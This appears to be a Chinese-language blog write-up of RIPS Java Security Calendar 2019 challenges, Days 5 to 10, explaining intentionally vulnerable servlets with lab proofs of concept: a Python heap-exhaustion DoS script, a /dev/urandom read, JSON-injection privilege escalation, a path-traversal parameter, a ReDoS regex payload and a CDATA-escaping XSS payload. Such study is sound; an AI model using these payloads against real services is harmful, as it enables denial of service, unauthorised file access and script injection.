Day 5
https://www.ripstech.com/java-security-calendar-2019/
代码的第6行实例化了StringBuilder对象,并将攻击者可控的参数值附加到其中。java.util.StringBuilder的内部原因,可能会导致拒绝服务问题。默认情况下,StringBuilder对象使用大小为16的数组进行初始化,StringBuilder实例会检查数据是否适合该数组。如果不是,则数组的大小会加倍。在这种情况下,会有很大的方法,这可能导致java堆内存不足,从而导致拒绝服务攻击。
Day5.java
package com.ananaskr.day5;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Day5 extends HttpServlet {
public void init() throws ServletException {
}
public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
Request request = new Request();
request.toString(req);
}
public void destroy(){
}
}
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>Request</servlet-name>
<servlet-class>com.ananaskr.day5.Day5</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Request</servlet-name>
<url-pattern>/day5</url-pattern>
</servlet-mapping>
</web-app>
在分析漏洞点的情况下,可以选择使用比较大的delim参数,以及构造数量足够多的其他参数。
默认情况下,Apache Tomcat的POST请求限制为2MB,最大参数为10000.如果结合数组和大量(例如10000)HTTP参数提交非常大的参数delim(例如1.8M)值,那么考虑到StringBuilder内部,我们的最大放大倍数约为20000。
在这里编写了一个脚本用于测试
import requests
url = "http://localhost:8080/Day5_war_exploded/day5"
delim = ""
A=[]
data="delim="+delim
for i in range(1,30000):
delim = delim+'------------------------------------------------'
for i in range(1,300):
A.append("test_the_DoS")
data=data+"&A{index}=".format(index=i)+A[i-1]
header={'content-type':"application/x-www-form-urlencoded"}
res=requests.post(url=url,data=data,headers=header)
print(res)
在设置了300个POST参数后,delim的值为1.4M,就会出现堆内存空间不足。如图所示:
Day 6
https://www.ripstech.com/java-security-calendar-2019/
代码中的第9行从参数url接收不受信任的用户输入。然后给定的值创建一个java.nio.file.Path实例,该文件的内容由方法java.nio.file.Files.readAllBytes()读取。那么所考虑的就是发送一个可以一直读的文件路径,从而消耗Java堆内存。当文件路径名为"/dev/urandom"值时,在Java堆内存不足之前,Files.readAllBytes()方法不会终止。这将导致无限的文件读取,并最终导致IOException处理程序无法捕获的内存耗尽。
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>Request</servlet-name>
<servlet-class>com.ananaskr.day6.ReadFile</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Request</servlet-name>
<url-pattern>/day6</url-pattern>
</servlet-mapping>
</web-app>
将请求的参数url=/dev/urandom即可使其堆空间消耗完毕,从而拒绝服务。
Day 7
https://www.ripstech.com/java-security-calendar-2019/
在ApiCache类的storeJson方法中,post请求中的username值是攻击者可控的。此函数的作用是获取username的值,作为username域的值,其中赋予的权限permission为"none"。然而,由于未对用户传入的参数username进行过滤,导致可以写入任意的域-值对。从而进行权限提升。
public static void loadJson() throws IOException {
// Deserialize to an HashMap object with Jackson's JsonParser and read the first 2 entries of the file.
JsonFactory jsonobject = new JsonFactory();
JsonParser parser = jsonobject.createParser(new File("/tmp/getUserInformation.json"));
parser.nextToken();
parser.nextToken();
String field1 = parser.getValueAsString();
parser.nextToken();
String username = parser.getValueAsString();
parser.nextToken();
String field2 = parser.getValueAsString();
parser.nextToken();
String permission = parser.getValueAsString();
System.out.println(field1+": "+username);
System.out.println(field2+": "+permission);
}
web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day7</servlet-name>
<servlet-class>com.ananaskr.day7.ApiCache</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day7</servlet-name>
<url-pattern>/day7</url-pattern>
</servlet-mapping>
</web-app>
正常情况下,请求发送正常的username值,"/tmp/getUSerInformation.json"的内容如下:
/tmp/getUserInfomation.json:
{
"username":"xxx",
"permission":"none"
}
当攻击者发送username=xxx","permission":"all,"/tmp/getUSerInformation.json"的内容如下:
/tmp/getUserInfomation.json:
{
"username":"xxx",
"permission":"all",
"permission":"none"
}
由于在Get请求中,对json处理时,只读取了username域以及一个permission的值"all",导致权限提升。
在发送请求时,将username参数值进行url编码后,发送出去。
可以看出get请求,得出来的权限确实提升为all了。
Day 8
https://www.ripstech.com/java-security-calendar-2019/
这段代码的主要功能是可下载读取"/var/myapp/data/"目录下的文件。其中getName()函数对输入内容进行了一个简单的过滤以防止目录遍历。然而,getName()只能进行简单的过滤,比如对../进行过滤。但是对于仅..的情况,却未进行任何过滤。因此,导致可以下载到上级目录下的所有文件。
// Download file...
PrintWriter out = response.getWriter();
out.println("The File is: "+toDir+filename);
web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>Day8</servlet-name>
<servlet-class>com.ananaskr.day8.GetPath</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Day8</servlet-name>
<url-pattern>/day8</url-pattern>
</servlet-mapping>
</web-app>
icons=..&filename=hacked.txt
从结果可看,是可以到上一级目录的
Day 9
https://www.ripstech.com/java-security-calendar-2019/
代码中的whitelist参数是正则表达式模式的部分。value参数值在第22行被验证是否符合whitelist组成的模式。由于whitelist和value的值都是由攻击者控制的,攻击者可以注入任意正则表达式并控制该表达式的值与之相配。使用复杂的正则表达式产生CPU消耗,从而导致DoS。这种DoS的方式被称为ReDoS。
web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day9</servlet-name>
<servlet-class>com.ananaskr.day9.Validator</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day9</servlet-name>
<url-pattern>/day9</url-pattern>
</servlet-mapping>
</web-app>
修改后的代码如下所示
Validator.java
package com.ananaskr.day9;
import java.util.regex.*;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.http.*;
public class Validator extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
PrintWriter out = response.getWriter();
long startTime = System.currentTimeMillis();
if (isInWhiteList(request.getParameter("whitelist"), request.getParameter("value"))) {
out.print("Value is in whitelist.");
System.out.println("This takes " + (System.currentTimeMillis() -
startTime));
} else {
out.print("Value is not in whitelist.");
System.out.println("This takes " + (System.currentTimeMillis() -
startTime));
}
out.flush();
}
public static boolean isInWhiteList(String whitelist, String value) {
Pattern pattern = Pattern.compile("^(" + whitelist + ")+");
Matcher matcher = pattern.matcher(value);
System.out.println("The length of the value is: "+ value.length());
return matcher.matches();
}
}
构造复杂的正则表达式,以达到消耗CPU的目的。payload为
whitelist=([a-z])+.)+[A-Z]([a-z]&value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
在发送payload需要对+进行编码,否则会被当成空格。
通过下图可以看出,当a的数量按比例增长时,其消耗的时间成指数增长,易受到ReDoS攻击。
Day 10
https://www.ripstech.com/java-security-calendar-2019/
这段代码中,用户输入通过@RequestParam注解从GET或POST参数"name"到达函数中的name参数。且第三行响应的"Content-Type"被设置为"text/xml"。输入流是攻击者可控的,则他可以注入具有xml名称空间属性"http://www.w3.org/1999/xhtml"的script标签,从而执行XSS。
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<init-param>
<param-name>forceEncoding</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<context:component-scan base-package="com.ananaskr.day10"/>
<context:annotation-config/>
<mvc:default-servlet-handler/>
<mvc:annotation-driven/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/WEB-INF/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
</beans>
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="day10" class="com.ananaskr.day10.day10">
</bean>
</beans>
CDATA指的是不应由XML解析器进行解析的文本数据,因此需要将其闭合以避免注入的JS代码变成文本。然后注入带有命名空间属性"http://www.w3.org/1999/xhtml"的script标签,将script标签定义为具有html属性的script标签。因此可以被浏览器当作JavaScript代码执行。payload如下:
name=test] ]><something%3Ascript%09xmlns%3Asomething%3D"http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml">alert(1)<%2Fsomething%3Ascript><![CDATA[